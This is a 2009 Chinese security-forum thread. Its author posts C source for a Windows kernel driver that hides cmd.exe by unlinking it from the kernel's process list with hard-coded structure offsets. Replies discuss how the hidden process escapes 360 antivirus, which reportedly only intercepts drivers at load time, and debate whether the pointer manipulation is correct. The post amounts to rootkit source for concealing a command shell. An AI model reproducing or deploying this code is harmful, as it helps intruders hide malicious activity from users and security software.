首页
社区
课程
招聘
7
[原创]写了个驱动,隐藏cmd.exe进程(高手别看)
发表于: 2009-12-6 01:42 9420

[原创]写了个驱动,隐藏cmd.exe进程(高手别看)

2009-12-6 01:42
9420
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include "Driver.h"
char* GetAllProcessListName(ULONG);
#pragma INITCODE
VOID getProccess()
{
     
//  DbgPrint("this is getProcess()");
    ULONG  Address;
    ULONG  oldAddress;
    Address = (ULONG)PsGetCurrentProcess();
    Address += 0x88;
    oldAddress = Address;
//  DbgPrint("this is getProcess()");
    char *processName;
    LIST_ENTRY*  listEntry;
    do
    {
            processName = GetAllProcessListName(Address);
    //  KdPrint((" name:%s\n",processName));
        if(!strcmp(processName, "cmd.exe"))
        {
 
            KdPrint(("this is my hidden name:%s\n",processName));
            listEntry = (LIST_ENTRY *) (Address);
            *((ULONG*)listEntry->Blink) = (ULONG)listEntry->Flink;
            *((ULONG*)listEntry->Flink+1) = (ULONG)listEntry->Blink;
        }
        Address = *(ULONG*)Address;
         
    }while(oldAddress != Address);     
 
}
char*  GetAllProcessListName(ULONG Address)
{
    Address -= 0x88;
    ULONG PID;
    char *processName;
    PID = *(int*)(Address + 0x84);
    processName = (char*)(Address + 0x174);
    //KdPrint(("PID:%d", PID));
    return processName;
}

[注意]看雪招聘,专注安全领域的专业人才平台!

上传的附件:
收藏
免费 7
支持
分享
赞赏记录
参与人
雪币
留言
时间
Youlor
为你点赞~
2024-3-23 01:03
QinBeast
为你点赞~
2024-1-7 04:29
伟叔叔
为你点赞~
2024-1-6 05:51
shinratensei
为你点赞~
2023-12-8 00:30
PLEBFE
为你点赞~
2023-11-27 00:33
心游尘世外
为你点赞~
2023-11-14 00:32
飘零丶
为你点赞~
2023-11-4 01:09
最新回复 (12)
雪    币: 245
活跃值: (11)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2



问个问题,为啥360会不显示这个隐藏的进程啊?
我觉的应该显示的啊!
是有意不显示的!
上传的附件:
  • w.jpg (158.46kb,25次下载)
2009-12-6 02:23
0
雪    币: 279
活跃值: (33)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
360是你进了ring0后就不管了,所以只要驱动加载成功,是可以起作用的,但加载时会拦截。
2009-12-6 09:00
0
雪    币: 474
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
拿源码了,谢谢了哦
2009-12-6 09:42
0
雪    币: 34
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
我看到楼主混乱的桌面,哈哈...
2009-12-6 11:29
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
6
楼主在真机上试。。。。
2009-12-6 12:41
0
雪    币: 245
活跃值: (11)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
虚拟机上试的啊!
360不管驱动干什么,只管加载驱动那块?
2009-12-6 15:34
0
雪    币: 220
活跃值: (836)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
现在X星也开始疯狂拦截驱动了。什么驱动都拦截,郁闷。
2009-12-6 23:05
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
第一贴发给你来了``
2009-12-7 00:28
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
没有处理cmd.exe在链尾的情况,这样会不会蓝屏?
*((ULONG*)listEntry->Blink) = (ULONG)listEntry->Flink;
      *((ULONG*)listEntry->Flink+1) = (ULONG)listEntry->Blink;
这两句中的第二句看不明白,可以指点一下吗?我觉得第二句应该不需要了。因为第一句就把listEntry的指针向后移了,Fink是指下一个指针,*((ULONG*)listEntry->Flink+1) 是什么意思?为什么要指向Bink,这样的话,这个结构不是两个指针都指在同一个地方?改成?
*((ULONG*)listEntry->Blink) = *((ULONG*)listEntry->Blink+1) ;
      *((ULONG*)listEntry->Flink) = *((ULONG*)listEntry->Flink+1);
行吗?
2009-12-7 09:00
0
雪    币: 245
活跃值: (11)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
我很菜啊,
*((ULONG*)listEntry->Blink) = *((ULONG*)listEntry->Blink+1) ;

这就变成
前一个listentity-->Flink 指向了自己的Blink 是吧? 自己指自己?
(ULONG*)listEntry->Blink+1  这句就不对!!Blink+1 变成什么了?我觉的啊!flink+1 = blink
2009-12-7 10:02
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
12


双向环状链表,无所谓头,无所谓尾。直接RemoveEntryList不就行了,像楼主这么写比较容易混乱,自己清楚还好,自己都不清楚,别人就更搞不清楚了~
2009-12-7 10:42
0
雪    币: 102
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
学习驱动需要什么知识
2009-12-23 00:23
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册